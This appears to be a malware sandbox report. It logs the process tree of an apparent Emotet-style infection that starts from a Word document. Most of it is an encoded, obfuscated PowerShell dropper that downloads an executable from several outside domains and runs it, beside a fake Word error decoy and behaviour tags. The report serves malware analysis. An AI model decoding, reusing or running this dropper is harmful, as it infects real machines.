ZAApACgAJwApACkAKwAnAGMAJwArACcAagAnACsAKAAnAHcAJwArACcAYgBlACcAKQArACgAJwAyAHQAYwAuAHoAJwArACcAaQBwAEAAJwApACsAKAAoACcAaAB0AHQAJwArACcAcABzADoAUQAnACsAJwApACgAcQBkAGQAKQAoACcAKQApACsAKAAoACcAUQApACcAKwAnACgAJwApACkAKwAoACcAcQAnACsAJwBkAGQAJwApACsAKAAoACcAKQAoAG8AbgBsACcAKwAnAGkAJwArACcAbgBlAC0AdAAnACkAKQArACcAaAAnACsAKAAnAGUAbwAnACsAJwByAGkAJwApACsAKAAnAGUAJwArACcALgBkAHIAaQB2AGUAJwArACcAZABkAHkALgBjAG8AJwArACcAbQBRACcAKQArACgAKAAnACkAKAAnACsAJwBxAGQAJwApACkAKwAoACgAJwBkACcAKwAnACkAKABiAGwAegBoADIAJwArACcAeQAnACkAKQArACgAJwAuAHoAaQAnACsAJwBwAEAAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnADoAUQAnACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAcQBkAGQAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAJwArACcAKQAoACcAKwAnAHMAYgBtAC4AYgAnACkAKQArACcAYQBsACcAKwAoACcAYQBqACcAKwAnAGkAaAAnACkAKwAoACcAYQBuACcAKwAnAGQAJwApACsAKAAnAGgAJwArACcAZQBsAGQALgBpACcAKQArACgAKAAnAG4AUQAnACsAJwApACgAcQBkACcAKwAnAGQAJwApACkAKwAoACgAJwApACgAJwApACkAKwAnAHYAZwAnACsAKAAnAHoAJwArACcAcgBsACcAKQArACgAJwB6ACcAKwAnAG8ALgByACcAKQArACcAYQAnACsAJwByACcAKwAoACcAQAAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACgAKAAnAHMAOgBRACcAKwAnACkAJwArACcAKABxAGQAJwArACcAZAApACcAKQApACsAKAAoACcAKABRACcAKQApACsAKAAoACcAKQAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAJwArACcAKQAoAGsAZQAnACkAKQArACgAJwB6ACcAKwAnAGUAbgBlACcAKQArACcAbABlACcAKwAoACcAYwB0ACcAKwAnAHIAaQAnACkAKwAnAGMALgAnACsAKAAoACcAYwAnACsAJwBhAFEAKQAoACcAKQApACsAKAAoACcAcQBkACcAKwAnAGQAJwArACcAKQAoAHIAYQBlAHoAJwApACkAKwAoACcAYgAnACsAJwBtADUAbQAnACkAKwAoACcAeQAuAHoAJwArACcAaQBwACcAKQApACkALgAiAHIAZQBgAFAAbABBAEMARQAiACgAKAAoACgAKAAnAFEAKQAnACkAKQArACgAKAAnACgAcQAnACkAKQArACgAKAAnAGQAZAApACcAKwAnACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4AHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABEAG4AZAB6AGYAZgBmACAAKwAgACQAQwBoADcAbwBtAGoAdwAgACsAIAAkAFgAegA0ADIAegBoAGIAKQA7ACQAUwBjADMAMwB2ADMAMwA9ACgAJwBIAGwAJwArACgAJwBkAGsAJwArACcAcQAnACkAKwAnADAANwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFMAOAA4AHIAOQA4AGQAIABpAG4AIAAkAEcAOABjADEAMABjADUAIAB8ACAAcwBgAG8AUgBgAFQAYAAtAE8AYgBKAGAARQBjAHQAIAB7AGcAYABFAHQALQBSAGAAQQBuAEQATwBNAH0AKQB7AHQAcgB5AHsAJABZAF8AZwBhAGkAZwBsAC4AIgBEAG8AdwBuAGAATABPAGEAZABgAEYAaQBMAEUAIgAoACQAUwA4ADgAcgA5ADgAZAAsACAAJABUAHkAagBiADgAbABpACkAOwAkAEwANwBwAG0AMQBmAGcAPQAoACgAJwBJACcAKwAnAGEAdQAnACkAKwAnAGcAJwArACgAJwBkAGkAJwArACcAZQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABUAHkAagBiADgAbABpACkALgAiAGwARQBOAGAARwB0AEgAIgAgAC0AZwBlACAAMwAxADIAMwAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3ACcAKwAnAGkAbgAzACcAKQArACcAMgAnACsAJwBfACcAKwAoACcAUAByACcAKwAnAG8AJwArACcAYwBlAHMAcwAnACkAKQApAC4AIgBjAHIARQBhAGAAVABlACIAKAAkAFQAeQBqAGIAOABsAGkAKQA7ACQAQQB2AG8AYgBsAF8AbgA9ACgAKAAnAE0AbwA2ACcAKwAnAGMAJwApACsAKAAnADYAJwArACcAOAAwACcAKQApADsAYgByAGUAYQBrADsAJABJAGsANQA0AHoAMgB1AD0AKAAoACcASwBxAHUAaAAnACsAJwB3AHQAJwApACsAJwBjACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBqAHEAbgByAHAAZgA9ACgAKAAnAEIAMgAnACsAJwBpACcAKQArACcAMwAnACsAKAAnAG0AbAAnACsAJwByACcAKQApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵PID:1328
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IABTAEUAdAAgACAARABnAEoAIAAgACgAIABbAFQAWQBQAEUAXQAoACIAewAzAH0AewAyAH0AewA0AH0AewAwAH0AewAxAH0AIgAgAC0AZgAnAFQAJwAsACcAbwBSAHkAJwAsACcAVABFAG0ALgBpAG8ALgBkAGkAcgAnACwAJwBzAFkAcwAnACwAJwBlAGMAJwApACkAIAA7ACAAIAAkAFAAZQB1AHkAbwB3AD0AIAAgAFsAVAB5AHAARQBdACgAIgB7ADIAfQB7ADMAfQB7ADAAfQB7ADEAfQB7ADYAfQB7ADUAfQB7ADcAfQB7ADQAfQAiAC0ARgAgACcAZQAnACwAJwBUACcALAAnAFMAeQBzACcALAAnAHQARQBtAC4ATgAnACwAJwBHAGUAcgAnACwAJwBFAFAAJwAsACcALgBzAEUAUgB2AGkAQwAnACwAJwBPAEkATgB0AG0AYQBOAGEAJwApACAAIAA7ACAAJABGAGQANABxADAAZwBqAD0AKAAnAEcAJwArACgAJwA4ADAAJwArACcAegAnACkAKwAoACcAcQA1ACcAKwAnAGUAJwApACkAOwAkAEMAaAA3AG8AbQBqAHcAPQAkAEsAXwAzAGwAbwBmADgAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AYQBpAHQAZgByAGwAOwAkAFMANgBoAGkAcgBmAGMAPQAoACcATQB6ACcAKwAoACcAbAAnACsAJwBhAGwAJwApACsAJwBpAHMAJwApADsAIAAgACQARABHAEoAOgA6ACIAQwBSAGUAYQB0AGUAYABkAEkAcgBgAEUAQwBgAFQATwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAFgAMgAnACsAKAAnAGsAJwArACcAdQA4AGoAJwApACsAJwA5AHsAJwArACcAMAB9AFIAeAAnACsAJwBfADkAYgBnAHMAewAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBoAEEAcgBdADkAMgApACkAOwAkAE4AdAB0AGIAcABoAHcAPQAoACgAJwBGACcAKwAnAG8ANwAnACkAKwAnADkAJwArACgAJwA5ACcAKwAnADEAcAAnACkAKQA7ACAAIAAoACAAIABnAEkAIAAgAFYAQQByAEkAYQBiAEwAZQA6AHAAZQB1AHkAbwB3ACkALgBWAEEATABVAEUAOgA6ACIAcwBgAEUAQwB1AGAAUgBgAGkAdABZAFAAcgBPAHQAbwBDAGAAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAMQAnACsAJwAyACcAKQApADsAJABQAGIAXwB2AHcANwBfAD0AKAAoACcAWQBiACcAKwAnADUAJwApACsAKAAnADEANQA3ACcAKwAnAGQAJwApACkAOwAkAFMAYQBhAHkAYgB6ADEAIAA9ACAAKAAnAE0AbwAnACsAKAAnAGEAeAAwAGoAJwArACcAdAAnACkAKQA7ACQARwBmAGEAZABrAGUAMwA9ACgAJwBHACcAKwAnAHQAJwArACgAJwBwACcAKwAnAGsAagA5AGoAJwApACkAOwAkAE4AagBlAG4AbgA4AGkAPQAoACgAJwBIAHQAcQAnACsAJwB1ACcAKQArACgAJwAxACcAKwAnADQANQAnACkAKQA7ACQAVAB5AGoAYgA4AGwAaQA9ACQASABPAE0ARQArACgAKAAnAFQAbQAnACsAJwBQACcAKwAoACcAWAAyAGsAdQA4AGoAJwArACcAOQAnACsAJwBUACcAKQArACgAJwBtAFAAUgAnACsAJwB4AF8AOQBiAGcAJwApACsAKAAnAHMAJwArACcAVABtAFAAJwApACkALgAiAHIARQBwAEwAYABBAEMAZQAiACgAKAAnAFQAbQAnACsAJwBQACcAKQAsACcAXAAnACkAKQArACQAUwBhAGEAeQBiAHoAMQArACgAKAAnAC4AZQAnACsAJwB4ACcAKQArACcAZQAnACkAOwAkAE4AcgBtAHIANgA4AF8APQAoACgAJwBIAGMAJwArACcAcQBrAHIAJwApACsAJwA1ACcAKwAnAGQAJwApADsAJABZAF8AZwBhAGkAZwBsAD0AbgBlAHcALQBvAGAAQgBgAGoAZQBDAFQAIABuAEUAVAAuAFcAZQBCAEMAbABpAGUATgB0ADsAJABHADgAYwAxADAAYwA1AD0AKAAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACgAJwBwADoAUQAnACsAJwApACgAJwApACkAKwAnAHEAJwArACcAZAAnACsAKAAoACcAZAApACcAKQApACsAKAAnACgAUQAnACsAJwApACcAKQArACgAKAAnACgAcQBkAGQAKQAnACsAJwAoAGcAJwApACkAKwAnAGkAZgAnACsAKAAnAHQAJwArACcAYwBhAHIAZAAnACkAKwAnADIAJwArACgAJwBuACcAKwAnAGEAaQByACcAKwAnAGEALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBRACkAKABxAGQAZAApACgAbwAnACsAJwBuADYAJwArACcAdQA0AGQAbAAuACcAKwAnAHoAaQBwAEAAJwArACcAaAAnACkAKQArACgAKAAnAHQAdABwAHMAOgAnACsAJwBRACkAKAAnACsAJwBxAGQAZAApACcAKQApACsAKAAoACcAKABRACkAKAAnACsAJwBxACcAKwAnAGQAZAApACgAJwApACkAKwAnAG4AYwAnACsAKAAnADMAYQAnACsAJwBhACcAKQArACgAKAAnAGEALgBvAHIAZwBRACcAKwAnACkAJwApACkAKwAoACcAKABxAGQAJwArACcAZAApACcAKQArACgAKAAnACgAawAnACkAKQArACcAOABxACcAKwAnADYAagAnACsAKAAnAGIALgAnACsAJwByACcAKQArACgAJwBhAHIAQABoACcAKwAnAHQAJwApACsAJwB0AHAAJwArACgAKAAnAHMAJwArACcAOgAnACsAJwBRACkAKABxAGQAJwArACcAZAApACgAUQApACcAKwAnACgAJwApACkAKwAnAHEAJwArACgAKAAnAGQAZAAnACsAJwApACcAKQApACsAKAAoACcAKAByACcAKwAnAGUAYQAnACkAKQArACgAJwBkAGEAJwArACcAYgBvAHUAJwApACsAKAAnAHQAJwArACcAYwBhAHIAZQAuAHMAJwApACsAKAAoACcAaQB0AGUAUQApACcAKwAnACgAcQBkAGQAJwArACcAKQAoAGIAJwApACkAKwAoACcAYgA5AGMAJwArACcAcgAnACkAKwAnAG8AJwArACgAJwBkAHUAMgAnACsAJwAuAHIAYQByAEAAJwApACsAKAAoACcAaAB0AHQAcABzADoAJwArACcAUQApACgAcQBkACcAKwAnAGQAJwArACcAKQAoACcAKwAnAFEAKQAnACsAJwAoAHEAZABkACkAKAB3AHcAdwAuACcAKQApACsAKAAnAGMAdAAnACsAJwByACcAKQArACcAbABiACcAKwAnAGYAJwArACgAKAAnAG8AbgB0AC4AYwBvAG0AUQAnACsAJwApACgAcQBkAGQAKQAoAGsAcQBuAGoANwAnACsAJwAyACcAKwAnAHcAawAnACsAJwAuACcAKQApACsAJwByACcAKwAoACcAYQByACcAKwAnAEAAJwApACsAKAAoACcAaAB0AHQAJwArACcAcABzADoAUQApACcAKwAnACgAcQBkAGQAJwApACkAKwAoACgAJwApACgAUQApACcAKwAnACgAcQAnACsAJwBkACcAKQApACsAKAAoACcAZAApACcAKwAnACgAcAAnACsAJwByAG8AcwB5ACcAKQApACsAKAAnAGEAcgBtACcAKwAnAGEAawAnACkAKwAoACcAYQBzAHMAJwArACcAYQByACcAKwAnAC4AYwBvACcAKQArACgAKAAnAG0AUQAnACsAJwApACgAcQAnACkAKQArACgAKAAnAGQAJwArACcAZAApACgAJwApACkAKwAnAGMAJwArACcAagAnACsAKAAnAHcAJwArACcAYgBlACcAKQArACgAJwAyAHQAYwAuAHoAJwArACcAaQBwAEAAJwApACsAKAAoACcAaAB0AHQAJwArACcAcABzADoAUQAnACsAJwApACgAcQBkAGQAKQAoACcAKQApACsAKAAoACcAUQApACcAKwAnACgAJwApACkAKwAoACcAcQAnACsAJwBkAGQAJwApACsAKAAoACcAKQAoAG8AbgBsACcAKwAnAGkAJwArACcAbgBlAC0AdAAnACkAKQArACcAaAAnACsAKAAnAGUAbwAnACsAJwByAGkAJwApACsAKAAnAGUAJwArACcALgBkAHIAaQB2AGUAJwArACcAZABkAHkALgBjAG8AJwArACcAbQBRACcAKQArACgAKAAnACkAKAAnACsAJwBxAGQAJwApACkAKwAoACgAJwBkACcAKwAnACkAKABiAGwAegBoADIAJwArACcAeQAnACkAKQArACgAJwAuAHoAaQAnACsAJwBwAEAAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAnADoAUQAnACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAcQBkAGQAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAJwArACcAKQAoACcAKwAnAHMAYgBtAC4AYgAnACkAKQArACcAYQBsACcAKwAoACcAYQBqACcAKwAnAGkAaAAnACkAKwAoACcAYQBuACcAKwAnAGQAJwApACsAKAAnAGgAJwArACcAZQBsAGQALgBpACcAKQArACgAKAAnAG4AUQAnACsAJwApACgAcQBkACcAKwAnAGQAJwApACkAKwAoACgAJwApACgAJwApACkAKwAnAHYAZwAnACsAKAAnAHoAJwArACcAcgBsACcAKQArACgAJwB6ACcAKwAnAG8ALgByACcAKQArACcAYQAnACsAJwByACcAKwAoACcAQAAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACgAKAAnAHMAOgBRACcAKwAnACkAJwArACcAKABxAGQAJwArACcAZAApACcAKQApACsAKAAoACcAKABRACcAKQApACsAKAAoACcAKQAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAJwArACcAKQAoAGsAZQAnACkAKQArACgAJwB6ACcAKwAnAGUAbgBlACcAKQArACcAbABlACcAKwAoACcAYwB0ACcAKwAnAHIAaQAnACkAKwAnAGMALgAnACsAKAAoACcAYwAnACsAJwBhAFEAKQAoACcAKQApACsAKAAoACcAcQBkACcAKwAnAGQAJwArACcAKQAoAHIAYQBlAHoAJwApACkAKwAoACcAYgAnACsAJwBtADUAbQAnACkAKwAoACcAeQAuAHoAJwArACcAaQBwACcAKQApACkALgAiAHIAZQBgAFAAbABBAEMARQAiACgAKAAoACgAKAAnAFEAKQAnACkAKQArACgAKAAnACgAcQAnACkAKQArACgAKAAnAGQAZAApACcAKwAnACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4AHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABEAG4AZAB6AGYAZgBmACAAKwAgACQAQwBoADcAbwBtAGoAdwAgACsAIAAkAFgAegA0ADIAegBoAGIAKQA7ACQAUwBjADMAMwB2ADMAMwA9ACgAJwBIAGwAJwArACgAJwBkAGsAJwArACcAcQAnACkAKwAnADAANwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFMAOAA4AHIAOQA4AGQAIABpAG4AIAAkAEcAOABjADEAMABjADUAIAB8ACAAcwBgAG8AUgBgAFQAYAAtAE8AYgBKAGAARQBjAHQAIAB7AGcAYABFAHQALQBSAGAAQQBuAEQATwBNAH0AKQB7AHQAcgB5AHsAJABZAF8AZwBhAGkAZwBsAC4AIgBEAG8AdwBuAGAATABPAGEAZABgAEYAaQBMAEUAIgAoACQAUwA4ADgAcgA5ADgAZAAsACAAJABUAHkAagBiADgAbABpACkAOwAkAEwANwBwAG0AMQBmAGcAPQAoACgAJwBJACcAKwAnAGEAdQAnACkAKwAnAGcAJwArACgAJwBkAGkAJwArACcAZQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABUAHkAagBiADgAbABpACkALgAiAGwARQBOAGAARwB0AEgAIgAgAC0AZwBlACAAMwAxADIAMwAwACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3ACcAKwAnAGkAbgAzACcAKQArACcAMgAnACsAJwBfACcAKwAoACcAUAByACcAKwAnAG8AJwArACcAYwBlAHMAcwAnACkAKQApAC4AIgBjAHIARQBhAGAAVABlACIAKAAkAFQAeQBqAGIAOABsAGkAKQA7ACQAQQB2AG8AYgBsAF8AbgA9ACgAKAAnAE0AbwA2ACcAKwAnAGMAJwApACsAKAAnADYAJwArACcAOAAwACcAKQApADsAYgByAGUAYQBrADsAJABJAGsANQA0AHoAMgB1AD0AKAAoACcASwBxAHUAaAAnACsAJwB3AHQAJwApACsAJwBjACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBqAHEAbgByAHAAZgA9ACgAKAAnAEIAMgAnACsAJwBpACcAKQArACcAMwAnACsAKAAnAG0AbAAnACsAJwByACcAKQApAA==2⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1908
-
-
C:\Users\Admin\X2ku8j9\Rx_9bgs\Moax0jt.exeC:\Users\Admin\X2ku8j9\Rx_9bgs\Moax0jt.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1836 -
C:\Users\Admin\X2ku8j9\Rx_9bgs\Moax0jt.exeC:\Users\Admin\X2ku8j9\Rx_9bgs\Moax0jt.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1020
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1112
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:2276
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1616
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:2104
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1592
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:2136
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:3812
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1240
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:4088
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:764